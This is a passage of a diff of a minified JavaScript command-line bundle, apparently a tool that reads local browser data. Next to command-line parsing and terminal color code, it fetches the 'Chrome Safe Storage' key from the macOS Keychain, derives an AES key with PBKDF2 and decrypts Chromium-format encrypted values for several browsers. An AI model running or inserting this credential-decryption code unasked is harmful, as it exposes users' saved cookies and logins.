a=n.includes(ee.extname(o)),u;b.platform!=="win32"?a?(t.unshift(o),t=sr(b.execArgv).concat(t),u=gt.spawn(b.argv[0],t,{stdio:"inherit"})):u=gt.spawn(o,t,{stdio:"inherit"}):(this._checkForMissingExecutable(o,s,e._name),t.unshift(o),t=sr(b.execArgv).concat(t),u=gt.spawn(b.execPath,t,{stdio:"inherit"})),u.killed||["SIGUSR1","SIGUSR2","SIGTERM","SIGINT","SIGHUP"].forEach(f=>{b.on(f,()=>{u.killed===!1&&u.exitCode===null&&u.kill(f)})});let c=this._exitCallback;u.on("close",l=>{l=l??1,c?c(new ne(l,"commander.executeSubCommandAsync","(close)")):b.exit(l)}),u.on("error",l=>{if(l.code==="ENOENT")this._checkForMissingExecutable(o,s,e._name);else if(l.code==="EACCES")throw new Error(`'${o}' not executable`);if(!c)b.exit(1);else{let f=new ne(1,"commander.executeSubCommandAsync","(error)");f.nestedError=l,c(f)}}),this.runningCommand=u}_dispatchSubcommand(e,t,n){let i=this._findCommand(e);i||this.help({error:!0}),i._prepareForParse();let o;return o=this._chainOrCallSubCommandHook(o,i,"preSubcommand"),o=this._chainOrCall(o,()=>{if(i._executableHandler)this._executeSubCommand(i,t.concat(n));else return i._parseCommand(t,n)}),o}_dispatchHelpCommand(e){e||this.help();let t=this._findCommand(e);return t&&!t._executableHandler&&t.help(),this._dispatchSubcommand(e,[],[this._getHelpOption()?.long??this._getHelpOption()?.short??"--help"])}_checkNumberOfArguments(){this.registeredArguments.forEach((e,t)=>{e.required&&this.args[t]==null&&this.missingArgument(e.name())}),!(this.registeredArguments.length>0&&this.registeredArguments[this.registeredArguments.length-1].variadic)&&this.args.length>this.registeredArguments.length&&this._excessArguments(this.args)}_processArguments(){let e=(n,i,o)=>{let s=i;if(i!==null&&n.parseArg){let a=`error: command-argument value '${i}' is invalid for argument '${n.name()}'.`;s=this._callParseArg(n,i,o,a)}return s};this._checkNumberOfArguments();let t=[];this.registeredArguments.forEach((n,i)=>{let o=n.defaultValue;n.variadic?i<this.args.length?(o=this.args.slice(i),n.parseArg&&(o=o.reduce((s,a)=>e(n,a,s),n.defaultValue))):o===void 0&&(o=[]):i<this.args.length&&(o=this.args[i],n.parseArg&&(o=e(n,o,n.defaultValue))),t[i]=o}),this.processedArgs=t}_chainOrCall(e,t){return e?.then&&typeof e.then=="function"?e.then(()=>t()):t()}_chainOrCallHooks(e,t){let n=e,i=[];return this._getCommandAndAncestors().reverse().filter(o=>o._lifeCycleHooks[t]!==void 0).forEach(o=>{o._lifeCycleHooks[t].forEach(s=>{i.push({hookedCommand:o,callback:s})})}),t==="postAction"&&i.reverse(),i.forEach(o=>{n=this._chainOrCall(n,()=>o.callback(o.hookedCommand,this))}),n}_chainOrCallSubCommandHook(e,t,n){let i=e;return this._lifeCycleHooks[n]!==void 0&&this._lifeCycleHooks[n].forEach(o=>{i=this._chainOrCall(i,()=>o(this,t))}),i}_parseCommand(e,t){let n=this.parseOptions(t);if(this._parseOptionsEnv(),this._parseOptionsImplied(),e=e.concat(n.operands),t=n.unknown,this.args=e.concat(t),e&&this._findCommand(e[0]))return this._dispatchSubcommand(e[0],e.slice(1),t);if(this._getHelpCommand()&&e[0]===this._getHelpCommand().name())return this._dispatchHelpCommand(e[1]);if(this._defaultCommandName)return this._outputHelpIfRequested(t),this._dispatchSubcommand(this._defaultCommandName,e,t);this.commands.length&&this.args.length===0&&!this._actionHandler&&!this._defaultCommandName&&this.help({error:!0}),this._outputHelpIfRequested(n.unknown),this._checkForMissingMandatoryOptions(),this._checkForConflictingOptions();let i=()=>{n.unknown.length>0&&this.unknownOption(n.unknown[0])},o=`command:${this.name()}`;if(this._actionHandler){i(),this._processArguments();let s;return s=this._chainOrCallHooks(s,"preAction"),s=this._chainOrCall(s,()=>this._actionHandler(this.processedArgs)),this.parent&&(s=this._chainOrCall(s,()=>{this.parent.emit(o,e,t)})),s=this._chainOrCallHooks(s,"postAction"),s}if(this.parent?.listenerCount(o))i(),this._processArguments(),this.parent.emit(o,e,t);else if(e.length){if(this._findCommand("*"))return this._dispatchSubcommand("*",e,t);this.listenerCount("command:*")?this.emit("command:*",e,t):this.commands.length?this.unknownCommand():(i(),this._processArguments())}else this.commands.length?(i(),this.help({error:!0})):(i(),this._processArguments())}_findCommand(e){if(e)return this.commands.find(t=>t._name===e||t._aliases.includes(e))}_findOption(e){return this.options.find(t=>t.is(e))}_checkForMissingMandatoryOptions(){this._getCommandAndAncestors().forEach(e=>{e.options.forEach(t=>{t.mandatory&&e.getOptionValue(t.attributeName())===void 0&&e.missingMandatoryOptionValue(t)})})}_checkForConflictingLocalOptions(){let e=this.options.filter(n=>{let i=n.attributeName();return this.getOptionValue(i)===void 0?!1:this.getOptionValueSource(i)!=="default"});e.filter(n=>n.conflictsWith.length>0).forEach(n=>{let i=e.find(o=>n.conflictsWith.includes(o.attributeName()));i&&this._conflictingOption(n,i)})}_checkForConflictingOptions(){this._getCommandAndAncestors().forEach(e=>{e._checkForConflictingLocalOptions()})}parseOptions(e){let t=[],n=[],i=t;function o(l){return l.length>1&&l[0]==="-"}let s=l=>/^-(\d+|\d*\.\d+)([eE][+-]?\d+)?$/.test(l)?!this._getCommandAndAncestors().some(f=>f.options.map(d=>d.short).some(d=>/^-\d$/.test(d))):!1,a=null,u=null,c=0;for(;c<e.length||u;){let l=u??e[c++];if(u=null,l==="--"){i===n&&i.push(l),i.push(...e.slice(c));break}if(a&&(!o(l)||s(l))){this.emit(`option:${a.name()}`,l);continue}if(a=null,o(l)){let f=this._findOption(l);if(f){if(f.required){let d=e[c++];d===void 0&&this.optionMissingArgument(f),this.emit(`option:${f.name()}`,d)}else if(f.optional){let d=null;c<e.length&&(!o(e[c])||s(e[c]))&&(d=e[c++]),this.emit(`option:${f.name()}`,d)}else this.emit(`option:${f.name()}`);a=f.variadic?f:null;continue}}if(l.length>2&&l[0]==="-"&&l[1]!=="-"){let f=this._findOption(`-${l[1]}`);if(f){f.required||f.optional&&this._combineFlagAndOptionalValue?this.emit(`option:${f.name()}`,l.slice(2)):(this.emit(`option:${f.name()}`),u=`-${l.slice(2)}`);continue}}if(/^--[^=]+=/.test(l)){let f=l.indexOf("="),d=this._findOption(l.slice(0,f));if(d&&(d.required||d.optional)){this.emit(`option:${d.name()}`,l.slice(f+1));continue}}if(i===t&&o(l)&&!(this.commands.length===0&&s(l))&&(i=n),(this._enablePositionalOptions||this._passThroughOptions)&&t.length===0&&n.length===0){if(this._findCommand(l)){t.push(l),n.push(...e.slice(c));break}else if(this._getHelpCommand()&&l===this._getHelpCommand().name()){t.push(l,...e.slice(c));break}else if(this._defaultCommandName){n.push(l,...e.slice(c));break}}if(this._passThroughOptions){i.push(l,...e.slice(c));break}i.push(l)}return{operands:t,unknown:n}}opts(){if(this._storeOptionsAsProperties){let e={},t=this.options.length;for(let n=0;n<t;n++){let i=this.options[n].attributeName();e[i]=i===this._versionOptionName?this._version:this[i]}return e}return this._optionValues}optsWithGlobals(){return this._getCommandAndAncestors().reduce((e,t)=>Object.assign(e,t.opts()),{})}error(e,t){this._outputConfiguration.outputError(`${e}
28
28
  `,this._outputConfiguration.writeErr),typeof this._showHelpAfterError=="string"?this._outputConfiguration.writeErr(`${this._showHelpAfterError}
29
29
  `):this._showHelpAfterError&&(this._outputConfiguration.writeErr(`
30
30
  `),this.outputHelp({error:!0}));let n=t||{},i=n.exitCode||1,o=n.code||"commander.error";this._exit(i,o,e)}_parseOptionsEnv(){this.options.forEach(e=>{if(e.envVar&&e.envVar in b.env){let t=e.attributeName();(this.getOptionValue(t)===void 0||["default","config","env"].includes(this.getOptionValueSource(t)))&&(e.required||e.optional?this.emit(`optionEnv:${e.name()}`,b.env[e.envVar]):this.emit(`optionEnv:${e.name()}`))}})}_parseOptionsImplied(){let e=new Ue(this.options),t=n=>this.getOptionValue(n)!==void 0&&!["default","implied"].includes(this.getOptionValueSource(n));this.options.filter(n=>n.implied!==void 0&&t(n.attributeName())&&e.valueFromOption(this.getOptionValue(n.attributeName()),n)).forEach(n=>{Object.keys(n.implied).filter(i=>!t(i)).forEach(i=>{this.setOptionValueWithSource(i,n.implied[i],"implied")})})}missingArgument(e){let t=`error: missing required argument '${e}'`;this.error(t,{code:"commander.missingArgument"})}optionMissingArgument(e){let t=`error: option '${e.flags}' argument missing`;this.error(t,{code:"commander.optionMissingArgument"})}missingMandatoryOptionValue(e){let t=`error: required option '${e.flags}' not specified`;this.error(t,{code:"commander.missingMandatoryOptionValue"})}_conflictingOption(e,t){let n=s=>{let a=s.attributeName(),u=this.getOptionValue(a),c=this.options.find(f=>f.negate&&a===f.attributeName()),l=this.options.find(f=>!f.negate&&a===f.attributeName());return c&&(c.presetArg===void 0&&u===!1||c.presetArg!==void 0&&u===c.presetArg)?c:l||s},i=s=>{let a=n(s),u=a.attributeName();return this.getOptionValueSource(u)==="env"?`environment variable '${a.envVar}'`:`option '${a.flags}'`},o=`error: ${i(e)} cannot be used with ${i(t)}`;this.error(o,{code:"commander.conflictingOption"})}unknownOption(e){if(this._allowUnknownOption)return;let t="";if(e.startsWith("--")&&this._showSuggestionAfterError){let i=[],o=this;do{let s=o.createHelp().visibleOptions(o).filter(a=>a.long).map(a=>a.long);i=i.concat(s),o=o.parent}while(o&&!o._enablePositionalOptions);t=Dt(e,i)}let n=`error: unknown option '${e}'${t}`;this.error(n,{code:"commander.unknownOption"})}_excessArguments(e){if(this._allowExcessArguments)return;let t=this.registeredArguments.length,n=t===1?"":"s",i=e.length,o=this.parent?` for '${this.name()}'`:"",s=e.join(", "),a=`error: too many arguments${o}. Expected ${t} argument${n} but got ${i}: ${s}.`;this.error(a,{code:"commander.excessArguments"})}unknownCommand(){let e=this.args[0],t="";if(this._showSuggestionAfterError){let i=[];this.createHelp().visibleCommands(this).forEach(o=>{i.push(o.name()),o.alias()&&i.push(o.alias())}),t=Dt(e,i)}let n=`error: unknown command '${e}'${t}`;this.error(n,{code:"commander.unknownCommand"})}version(e,t,n){if(e===void 0)return this._version;this._version=e,t=t||"-V, --version",n=n||"output the version number";let i=this.createOption(t,n);return this._versionOptionName=i.attributeName(),this._registerOption(i),this.on("option:"+i.name(),()=>{this._outputConfiguration.writeOut(`${e}
@@ -34,7 +34,7 @@ Expecting one of '${n.join("', '")}'`);let i=`${e}Help`;return this.on(i,o=>{let
34
34
  `:`
35
35
  `)+t,i=n+1,n=r.indexOf(`
36
36
  `,i)}while(n!==-1);return o+=r.slice(i),o}var cr=(r=0)=>e=>`\x1B[${e+r}m`,yt=(r=0)=>e=>`\x1B[${38+r};5;${e}m`,Ct=(r=0)=>(e,t,n)=>`\x1B[${38+r};2;${e};${t};${n}m`,Yi=r=>`\x1B[58;5;${r<90?r-30:r-90+8}m`,w={modifier:{reset:[0,0],bold:[1,22],dim:[2,22],italic:[3,23],underline:[4,24],underlineDouble:["4:2",24],underlineCurly:["4:3",24],underlineDotted:["4:4",24],underlineDashed:["4:5",24],overline:[53,55],inverse:[7,27],hidden:[8,28],strikethrough:[9,29]},color:{black:[30,39],red:[31,39],green:[32,39],yellow:[33,39],blue:[34,39],magenta:[35,39],cyan:[36,39],white:[37,39],blackBright:[90,39],gray:[90,39],grey:[90,39],redBright:[91,39],greenBright:[92,39],yellowBright:[93,39],blueBright:[94,39],magentaBright:[95,39],cyanBright:[96,39],whiteBright:[97,39]},bgColor:{bgBlack:[40,49],bgRed:[41,49],bgGreen:[42,49],bgYellow:[43,49],bgBlue:[44,49],bgMagenta:[45,49],bgCyan:[46,49],bgWhite:[47,49],bgBlackBright:[100,49],bgGray:[100,49],bgGrey:[100,49],bgRedBright:[101,49],bgGreenBright:[102,49],bgYellowBright:[103,49],bgBlueBright:[104,49],bgMagentaBright:[105,49],bgCyanBright:[106,49],bgWhiteBright:[107,49]},underlineColor:{underlineBlack:["58;5;0",59],underlineRed:["58;5;1",59],underlineGreen:["58;5;2",59],underlineYellow:["58;5;3",59],underlineBlue:["58;5;4",59],underlineMagenta:["58;5;5",59],underlineCyan:["58;5;6",59],underlineWhite:["58;5;7",59],underlineBlackBright:["58;5;8",59],underlineGray:["58;5;8",59],underlineGrey:["58;5;8",59],underlineRedBright:["58;5;9",59],underlineGreenBright:["58;5;10",59],underlineYellowBright:["58;5;11",59],underlineBlueBright:["58;5;12",59],underlineMagentaBright:["58;5;13",59],underlineCyanBright:["58;5;14",59],underlineWhiteBright:["58;5;15",59]}},Aa=Object.keys(w.modifier),Ji=Object.keys(w.color),Xi=Object.keys(w.bgColor),Oa=Object.keys(w.underlineColor),va=[...Ji,...Xi];function Qi(){let r=new Map;for(let[e,t]of Object.entries(w)){for(let[n,i]of Object.entries(t))w[n]={open:`\x1B[${i[0]}m`,close:`\x1B[${i[1]}m`},t[n]=w[n],r.set(Number.parseInt(i[0],10),i[1]);Object.defineProperty(w,e,{value:t,enumerable:!1})}return Object.defineProperty(w,"codes",{value:r,enumerable:!1}),w.color.close="\x1B[39m",w.bgColor.close="\x1B[49m",w.underlineColor.close="\x1B[59m",w.color.ansi=cr(),w.color.ansi256=yt(),w.color.ansi16m=Ct(),w.bgColor.ansi=cr(10),w.bgColor.ansi256=yt(10),w.bgColor.ansi16m=Ct(10),w.underlineColor.ansi=Yi,w.underlineColor.ansi256=yt(20),w.underlineColor.ansi16m=Ct(20),Object.defineProperties(w,{rgbToAnsi256:{value(e,t,n){return e===t&&t===n?e<8?16:e>248?231:Math.round((e-8)/247*24)+232:16+36*Math.round(e/255*5)+6*Math.round(t/255*5)+Math.round(n/255*5)},enumerable:!1},hexToRgb:{value(e){let t=/[\da-f]{6}|[\da-f]{3}/i.exec(e.toString(16));if(!t)return[0,0,0];let[n]=t;n.length===3&&(n=[...n].map(o=>o+o).join(""));let i=Number.parseInt(n,16);return[i>>16&255,i>>8&255,i&255]},enumerable:!1},hexToAnsi256:{value:e=>w.rgbToAnsi256(...w.hexToRgb(e)),enumerable:!1},ansi256ToAnsi:{value(e){if(e<8)return 30+e;if(e<16)return 90+(e-8);let t,n,i;if(e>=232)t=((e-232)*10+8)/255,n=t,i=t;else{e-=16;let a=e%36;t=Math.floor(e/36)/5,n=Math.floor(a/6)/5,i=a%6/5}let o=Math.max(t,n,i)*2;if(o===0)return 30;let s=30+(Math.round(i)<<2|Math.round(n)<<1|Math.round(t));return o===2&&(s+=60),s},enumerable:!1},rgbToAnsi:{value:(e,t,n)=>w.ansi256ToAnsi(w.rgbToAnsi256(e,t,n)),enumerable:!1},hexToAnsi:{value:e=>w.ansi256ToAnsi(w.hexToAnsi256(e)),enumerable:!1}}),w}var Zi=Qi(),z=Zi;import Et from"node:process";import eo from"node:os";import fr from"node:tty";function G(r,e=globalThis.Deno?globalThis.Deno.args:Et.argv){let t=r.startsWith("-")?"":r.length===1?"-":"--",n=e.indexOf(t+r),i=e.indexOf("--");return n!==-1&&(i===-1||n<i)}var{env:S}=Et,qe;G("no-color")||G("no-colors")||G("color=false")||G("color=never")?qe=0:(G("color")||G("colors")||G("color=true")||G("color=always"))&&(qe=1);function pr(){return/^\d+$/.test(S.FORCE_COLOR)}function to(){if("FORCE_COLOR"in S){if(S.FORCE_COLOR==="false")return 0;if(S.FORCE_COLOR==="true"||S.FORCE_COLOR.length===0)return 1;if(pr())return Math.min(Number.parseInt(S.FORCE_COLOR,10),3)}}function ro(r){return r===0?!1:{level:r,hasBasic:!0,has256:r>=2,has16m:r>=3}}function no(r,{streamIsTTY:e,sniffFlags:t=!0}={}){let n=to();n!==void 0&&(qe=n);let i=t?qe:n;if(i===0)return 0;if(t){if(G("color=16m")||G("color=full")||G("color=truecolor"))return 3;if(G("color=256"))return 2}if(i!==void 0&&pr())return i;if("TF_BUILD"in S&&"AGENT_NAME"in S)return 1;if(r&&!e&&i===void 0)return 0;let o=i||0;if(S.TERM==="dumb")return o;if(Et.platform==="win32"){let s=eo.release().split(".");return Number(s[0])>=10&&Number(s[2])>=10586?Number(s[2])>=14931?3:2:1}if("CI"in S)return["GITHUB_ACTIONS","GITEA_ACTIONS","CIRCLECI"].some(s=>s in S)?3:["TRAVIS","APPVEYOR","GITLAB_CI","BUILDKITE","DRONE"].some(s=>s in S)||S.CI_NAME==="codeship"?1:o;if("TEAMCITY_VERSION"in S)return/^(?:9\.0*[1-9]\d*\.|\d{2,}\.)/.test(S.TEAMCITY_VERSION)?1:0;if(S.COLORTERM==="truecolor"||S.TERM==="xterm-kitty"||S.TERM==="xterm-ghostty"||S.TERM==="wezterm")return 3;if("TERM_PROGRAM"in S){let s=Number.parseInt((S.TERM_PROGRAM_VERSION||"").split(".",1)[0],10);switch(S.TERM_PROGRAM){case"iTerm.app":return s>=3?3:2;case"Apple_Terminal":return 2}}return/-256(?:color)?$/i.test(S.TERM)?2:/^screen|^xterm|^vt100|^vt220|^rxvt|color|ansi|cygwin|linux/i.test(S.TERM)||"COLORTERM"in S?1:o}function dr(r,e={}){let t=no(r,{streamIsTTY:r&&r.isTTY,...e});return ro(t)}var io={stdout:dr({isTTY:fr.isatty(1)}),stderr:dr({isTTY:fr.isatty(2)})},hr=io;var{stdout:mr,stderr:Dr}=hr,Ae=Symbol("GENERATOR"),Oe=Symbol("STYLER"),Ye=Symbol("IS_EMPTY"),ze=Symbol("LEVEL"),ve=Object.create(null),gr=r=>{if(!Number.isSafeInteger(r)||r<0||r>3)throw new Error("The `level` should be an integer from 0 to 3")},oo={enumerable:!0,get(){return this[ze]},set(r){gr(r),this[ze]=r}},so=(r,e={})=>{e.level!==void 0&&gr(e.level);let t=mr?mr.level:0;r[ze]=e.level===void 0?t:e.level};var uo=r=>{let e=(...t)=>t.join(" ");return so(e,r),Object.setPrototypeOf(e,ke.prototype),e};function ke(r){return uo(r)}Object.setPrototypeOf(ke.prototype,Function.prototype);for(let[r,e]of Object.entries(z))ve[r]={get(){let t=wt(this,yr(e.open,e.close,this[Oe]),this[Ye]);return Object.defineProperty(this,r,{value:t}),t}};ve.visible={get(){let r=wt(this,this[Oe],!0);return Object.defineProperty(this,"visible",{value:r}),r}};var ao=(r,e)=>{let t=z[e];if(r==="rgb"){let i=(s,a,u)=>t.ansi(z.rgbToAnsi(s,a,u));return[i,i,(s,a,u)=>t.ansi256(z.rgbToAnsi256(s,a,u)),t.ansi16m]}if(r==="hex"){let i=s=>t.ansi(z.hexToAnsi(s));return[i,i,s=>t.ansi256(z.hexToAnsi256(s)),s=>t.ansi16m(...z.hexToRgb(s))]}let n=i=>t.ansi(z.ansi256ToAnsi(i));return[n,n,t.ansi256,t.ansi256]},lo=["rgb","hex","ansi256"];for(let r of lo){let e=r[0].toUpperCase()+r.slice(1);for(let[t,n]of[[r,"color"],["bg"+e,"bgColor"],["underline"+e,"underlineColor"]]){let{close:i}=z[n],o=ao(r,n);ve[t]={get(){let s=function(a,u,c){let l=o[this.level](a,u,c);return wt(this,yr(l,i,this[Oe]),this[Ye])};return Object.defineProperty(this,t,{value:s}),s}}}}var co=Object.defineProperties(()=>{},{...ve,level:{enumerable:!0,get(){return this[Ae].level},set(r){this[Ae].level=r}}}),yr=(r,e,t)=>{let n,i;return t===void 0?(n=r,i=e):(n=t.openAll+r,i=e+t.closeAll),{open:r,close:e,openAll:n,closeAll:i,parent:t}},wt=(r,e,t)=>{let n=(...i)=>i.length===1?bt(n,""+i[0]):i.length===2?bt(n,`${i[0]??""} ${i[1]??""}`):bt(n,i.join(" "));return Object.setPrototypeOf(n,co),n[Ae]=r[Ae]??r,n[Oe]=e,n[Ye]=t,n},bt=(r,e)=>{if(r[Ae][ze]<=0||!e)return r[Ye]?"":e;let t=r[Oe];if(t===void 0)return e;let{openAll:n,closeAll:i}=t;if(e.includes("\x1B"))for(;t!==void 0;)e=ar(e,t.close,t.open),t=t.parent;let o=e.indexOf(`
37
- `);return o!==-1&&(e=lr(e,i,n,o)),n+e+i};Object.defineProperties(ke.prototype,{...ve,level:oo});var fo=ke(),Ma=ke({level:Dr?Dr.level:0});var D=fo;var xi=Hi(En(),1);import{existsSync as J,readdirSync as Nn,readFileSync as vs,statSync as ks}from"node:fs";import{basename as Rs,join as re}from"node:path";import{createDecipheriv as Tt}from"node:crypto";var Jo=Buffer.alloc(16," "),he=12,me=16;function et(r,e){if(!r||r.length===0)return Buffer.alloc(0);let t=Buffer.isBuffer(r)?r:Buffer.from(r),n=t.subarray(0,3).toString("utf-8");if(n!=="v10"&&n!=="v11")return"<unsupported encryption format>";let i=t.subarray(3);try{let o=Tt("aes-128-cbc",e,Jo),s=o.update(i);return s=Buffer.concat([s,o.final()]),s}catch{return"<decryption failed>"}}function bn(r,e){if(!r||r.length===0)return Buffer.alloc(0);let t=Buffer.isBuffer(r)?r:Buffer.from(r),n=t.subarray(0,3).toString("utf-8");if(n!=="v10"&&n!=="v11")return"<unsupported encryption format>";if(t.length<3+he+me)return"<decryption failed>";let i=t.subarray(3,3+he),o=t.subarray(t.length-me),s=t.subarray(3+he,t.length-me);try{let a=Tt("aes-256-gcm",e,i);return a.setAuthTag(o),Buffer.concat([a.update(s),a.final()])}catch{return"<decryption failed>"}}function tt(r,e){if(!r||r.length===0)return Buffer.alloc(0);let t=Buffer.isBuffer(r)?r:Buffer.from(r);if(t.subarray(0,3).toString("utf-8")!=="v20")return"<unsupported encryption format>";if(t.length<3+he+me)return"<decryption failed>";let i=t.subarray(3,3+he),o=t.subarray(t.length-me),s=t.subarray(3+he,t.length-me);try{let a=Tt("aes-256-gcm",e,i);return a.setAuthTag(o),Buffer.concat([a.update(s),a.final()])}catch{return"<decryption failed>"}}function R(r){if(r==null)return"N/A";try{let e=BigInt(r);if(e===0n)return"N/A";let t=e-11644473600000000n,n=Number(t/1000n),i=new Date(n);return isNaN(i.getTime())?"N/A":i.toLocaleString()}catch{return"N/A"}}var F=class extends Error{constructor(t,n,i){super(n,i);this.code=t}code};function B(r,e,t,n){if(!r)return;let i=n instanceof F?n.code:n?.code==="ENOENT"?"missing_store":"unreadable";r({profile:e,store:t,code:i,message:n instanceof Error?n.message:String(n)})}import{homedir as ss}from"node:os";import{join as us}from"node:path";import{execFileSync as Xo}from"node:child_process";import{pbkdf2Sync as Qo}from"node:crypto";var Zo=1003,es=16,ts=Buffer.from("saltysalt"),wn="Chrome Safe Storage",Lt={ITEM_NOT_FOUND:44,INTERACTION_NOT_ALLOWED:36,AUTH_FAILED:45,USER_CANCELED:128},De=class extends Error{service;kind;constructor(e,t,n){super(e),this.name="KeychainAccessError",this.service=t,this.kind=n}get isAccessDenied(){return this.kind==="access-denied"}};function rt(r){return r instanceof De&&r.isAccessDenied}var Pt=new Map,$t=new Map;function rs(){return!!(process.env.SSH_CONNECTION||process.env.SSH_TTY)||!process.env.TERM_PROGRAM}function ns(r){let e=r;return{status:typeof e?.status=="number"?e.status:null,stderr:(e?.stderr??"").toString().trim()}}function is(r,e,t){let n="See docs/remote-keychain-access.md for non-interactive / SSH setup.",i,o;e===Lt.ITEM_NOT_FOUND||/could not be found/i.test(t)?(i="not-found",o=`No '${r}' item found in the Keychain.
37
+ `);return o!==-1&&(e=lr(e,i,n,o)),n+e+i};Object.defineProperties(ke.prototype,{...ve,level:oo});var fo=ke(),Ma=ke({level:Dr?Dr.level:0});var m=fo;var xi=ji(En(),1);import{existsSync as J,readdirSync as Nn,readFileSync as vs,statSync as ks}from"node:fs";import{basename as Rs,join as re}from"node:path";import{createDecipheriv as Tt}from"node:crypto";var Jo=Buffer.alloc(16," "),he=12,me=16;function et(r,e){if(!r||r.length===0)return Buffer.alloc(0);let t=Buffer.isBuffer(r)?r:Buffer.from(r),n=t.subarray(0,3).toString("utf-8");if(n!=="v10"&&n!=="v11")return"<unsupported encryption format>";let i=t.subarray(3);try{let o=Tt("aes-128-cbc",e,Jo),s=o.update(i);return s=Buffer.concat([s,o.final()]),s}catch{return"<decryption failed>"}}function bn(r,e){if(!r||r.length===0)return Buffer.alloc(0);let t=Buffer.isBuffer(r)?r:Buffer.from(r),n=t.subarray(0,3).toString("utf-8");if(n!=="v10"&&n!=="v11")return"<unsupported encryption format>";if(t.length<3+he+me)return"<decryption failed>";let i=t.subarray(3,3+he),o=t.subarray(t.length-me),s=t.subarray(3+he,t.length-me);try{let a=Tt("aes-256-gcm",e,i);return a.setAuthTag(o),Buffer.concat([a.update(s),a.final()])}catch{return"<decryption failed>"}}function tt(r,e){if(!r||r.length===0)return Buffer.alloc(0);let t=Buffer.isBuffer(r)?r:Buffer.from(r);if(t.subarray(0,3).toString("utf-8")!=="v20")return"<unsupported encryption format>";if(t.length<3+he+me)return"<decryption failed>";let i=t.subarray(3,3+he),o=t.subarray(t.length-me),s=t.subarray(3+he,t.length-me);try{let a=Tt("aes-256-gcm",e,i);return a.setAuthTag(o),Buffer.concat([a.update(s),a.final()])}catch{return"<decryption failed>"}}function R(r){if(r==null)return"N/A";try{let e=BigInt(r);if(e===0n)return"N/A";let t=e-11644473600000000n,n=Number(t/1000n),i=new Date(n);return isNaN(i.getTime())?"N/A":i.toLocaleString()}catch{return"N/A"}}var F=class extends Error{constructor(t,n,i){super(n,i);this.code=t}code};function B(r,e,t,n){if(!r)return;let i=n instanceof F?n.code:n?.code==="ENOENT"?"missing_store":"unreadable";r({profile:e,store:t,code:i,message:n instanceof Error?n.message:String(n)})}import{homedir as ss}from"node:os";import{join as us}from"node:path";import{execFileSync as Xo}from"node:child_process";import{pbkdf2Sync as Qo}from"node:crypto";var Zo=1003,es=16,ts=Buffer.from("saltysalt"),wn="Chrome Safe Storage",Lt={ITEM_NOT_FOUND:44,INTERACTION_NOT_ALLOWED:36,AUTH_FAILED:45,USER_CANCELED:128},De=class extends Error{service;kind;constructor(e,t,n){super(e),this.name="KeychainAccessError",this.service=t,this.kind=n}get isAccessDenied(){return this.kind==="access-denied"}};function rt(r){return r instanceof De&&r.isAccessDenied}var Pt=new Map,$t=new Map;function rs(){return!!(process.env.SSH_CONNECTION||process.env.SSH_TTY)||!process.env.TERM_PROGRAM}function ns(r){let e=r;return{status:typeof e?.status=="number"?e.status:null,stderr:(e?.stderr??"").toString().trim()}}function is(r,e,t){let n="See docs/remote-keychain-access.md for non-interactive / SSH setup.",i,o;e===Lt.ITEM_NOT_FOUND||/could not be found/i.test(t)?(i="not-found",o=`No '${r}' item found in the Keychain.
38
38
  Run this browser at least once on this machine so it creates the key.`):e===Lt.INTERACTION_NOT_ALLOWED||/interaction.*not allowed/i.test(t)?(i="access-denied",o="The Keychain needs a GUI authorization prompt that can't be shown here "+(rs()?`(you appear to be on a remote/SSH session).
39
39
  `:`.
40
40
  `)+`Authorize once from a GUI Terminal (click "Always Allow"), then unlock the
@@ -48,66 +48,66 @@ Re-run the command and click "Allow" (or "Always Allow"), or authorize once with
48
48
  ${n}`);let s=[e!==null?`exit ${e}`:null,t||null].filter(Boolean).join(": ");return new De(`Could not retrieve ${r} key from macOS Keychain.
49
49
  ${o}`+(s?`
50
50
  (security: ${s})`:""),r,i)}var It=null;function _n(){return It}function os(r=wn){let e=Pt.get(r);if(e!==void 0)return e;let t;if(It)t=It(r);else try{t=Xo("security",["find-generic-password","-w","-s",r],{encoding:"utf-8",stdio:["pipe","pipe","pipe"]}).trim()}catch(n){let{status:i,stderr:o}=ns(n);throw is(r,i,o)}if(!t)throw new De(`Keychain returned an empty ${r} key.
51
- The item may exist with no password. Re-run the browser to recreate it.`,r,"empty");return Pt.set(r,t),t}function Fn(r=wn,e){let t=$t.get(r);if(t!==void 0)return t;let n=e||os(r);if(!n)throw new Error("Keychain password cannot be empty for key derivation.");let i=Qo(n,ts,Zo,es,"sha1");return $t.set(r,i),i}function Bn(){Pt.clear(),$t.clear()}var nt={chrome:{id:"chrome",name:"Google Chrome",aliases:["google-chrome","google chrome"],safeStorageLabel:"Chrome Safe Storage",linuxSecretApp:"chrome",dirs:{darwin:"Google/Chrome",win32:"Google/Chrome/User Data",linux:"google-chrome"}},"chrome-beta":{id:"chrome-beta",name:"Google Chrome Beta",safeStorageLabel:"Chrome Safe Storage",linuxSecretApp:"chrome",dirs:{darwin:"Google/Chrome Beta",win32:"Google/Chrome Beta/User Data",linux:"google-chrome-beta"}},"chrome-canary":{id:"chrome-canary",name:"Google Chrome Canary",aliases:["canary"],safeStorageLabel:"Chrome Safe Storage",linuxSecretApp:"chrome",dirs:{darwin:"Google/Chrome Canary",win32:"Google/Chrome SxS/User Data",linux:"google-chrome-unstable"}},chromium:{id:"chromium",name:"Chromium",safeStorageLabel:"Chromium Safe Storage",linuxSecretApp:"chromium",dirs:{darwin:"Chromium",win32:"Chromium/User Data",linux:"chromium"}},edge:{id:"edge",name:"Microsoft Edge",aliases:["msedge","microsoft-edge","microsoft edge"],safeStorageLabel:"Microsoft Edge Safe Storage",linuxSecretApp:"chromium",dirs:{darwin:"Microsoft Edge",win32:"Microsoft/Edge/User Data",linux:"microsoft-edge"}},brave:{id:"brave",name:"Brave",aliases:["brave-browser"],safeStorageLabel:"Brave Safe Storage",linuxSecretApp:"chrome",dirs:{darwin:"BraveSoftware/Brave-Browser",win32:"BraveSoftware/Brave-Browser/User Data",linux:"BraveSoftware/Brave-Browser"}},comet:{id:"comet",name:"Comet",aliases:["perplexity","perplexity-comet"],safeStorageLabel:"Comet Safe Storage",linuxSecretApp:"chromium",dirs:{darwin:"Comet",win32:"Perplexity/Comet/User Data",linux:"comet"}},vivaldi:{id:"vivaldi",name:"Vivaldi",safeStorageLabel:"Chrome Safe Storage",linuxSecretApp:"chrome",dirs:{darwin:"Vivaldi",win32:"Vivaldi/User Data",linux:"vivaldi"}},opera:{id:"opera",name:"Opera",safeStorageLabel:"Opera Safe Storage",linuxSecretApp:"chromium",dirs:{darwin:"com.operasoftware.Opera",win32:"Opera Software/Opera Stable",win32Base:"roaming",linux:"opera"}}},Sn="chrome";function Ie(){return 